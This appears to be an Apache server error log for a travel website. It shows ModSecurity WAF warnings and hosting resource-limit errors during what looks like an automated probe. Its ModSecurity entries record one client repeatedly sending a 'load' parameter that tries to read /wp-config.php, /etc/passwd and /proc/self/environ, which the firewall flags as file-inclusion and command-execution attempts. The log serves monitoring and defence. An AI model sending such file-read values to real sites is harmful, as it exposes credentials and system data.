[Fri Jul 17 08:55:54.699330 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg7FYe46zHK_jL3QCgAAABk"]
[Fri Jul 17 08:55:54.699429 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.699626 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwoe39YUk0SgV8AU6qAAAABE"]
[Fri Jul 17 08:55:54.699712 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwg7FYe46zHK_jL3QCgAAABk"]
[Fri Jul 17 08:55:54.699718 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.699970 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwoe39YUk0SgV8AU6qAAAABE"]
[Fri Jul 17 08:55:54.738002 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.740257 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.776126 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.802579 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:load: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwivekYYQ8uns4MwlsQAAAA0"]
[Fri Jul 17 08:55:54.802899 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.803064 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwivekYYQ8uns4MwlsQAAAA0"]
[Fri Jul 17 08:55:54.803150 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.803400 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwivekYYQ8uns4MwlsQAAAA0"]
[Fri Jul 17 08:55:54.803969 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:load: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg7FYe46zHK_jL3QCwAAABk"]
[Fri Jul 17 08:55:54.804527 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg7FYe46zHK_jL3QCwAAABk"]
[Fri Jul 17 08:55:54.804631 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.804821 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.804877 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.804880 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwg7FYe46zHK_jL3QCwAAABk"]
[Fri Jul 17 08:55:54.806392 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:load: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96PAAAAAw"]
[Fri Jul 17 08:55:54.806489 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:load: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96PAAAAAw"]
[Fri Jul 17 08:55:54.806897 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96PAAAAAw"]
[Fri Jul 17 08:55:54.807016 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.807319 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwol9vhFBGA6D8l96PAAAAAw"]
[Fri Jul 17 08:55:54.808882 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:load: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwoe39YUk0SgV8AU6qQAAABE"]
[Fri Jul 17 08:55:54.808967 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:load: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwoe39YUk0SgV8AU6qQAAABE"]
[Fri Jul 17 08:55:54.809413 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwoe39YUk0SgV8AU6qQAAABE"]
[Fri Jul 17 08:55:54.809512 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.809784 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwoe39YUk0SgV8AU6qQAAABE"]
[Fri Jul 17 08:55:54.811605 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:load: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS5wAAAB4"]
[Fri Jul 17 08:55:54.811724 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:load: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS5wAAAB4"]
[Fri Jul 17 08:55:54.812223 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS5wAAAB4"]
[Fri Jul 17 08:55:54.812346 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.812608 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwlCBpfuYyhJ140vS5wAAAB4"]
[Fri Jul 17 08:55:54.822300 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:53196] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:54.826171 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:load: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfkQAAAA8"]
[Fri Jul 17 08:55:54.826320 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:load. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:load: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfkQAAAA8"]
[Fri Jul 17 08:55:54.826869 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfkQAAAA8"]
[Fri Jul 17 08:55:54.827015 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.827356 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwu1pLmPpy2r_2CxfkQAAAA8"]
[Fri Jul 17 08:55:54.831799 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.849633 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.872792 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.873510 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.875838 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.876406 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
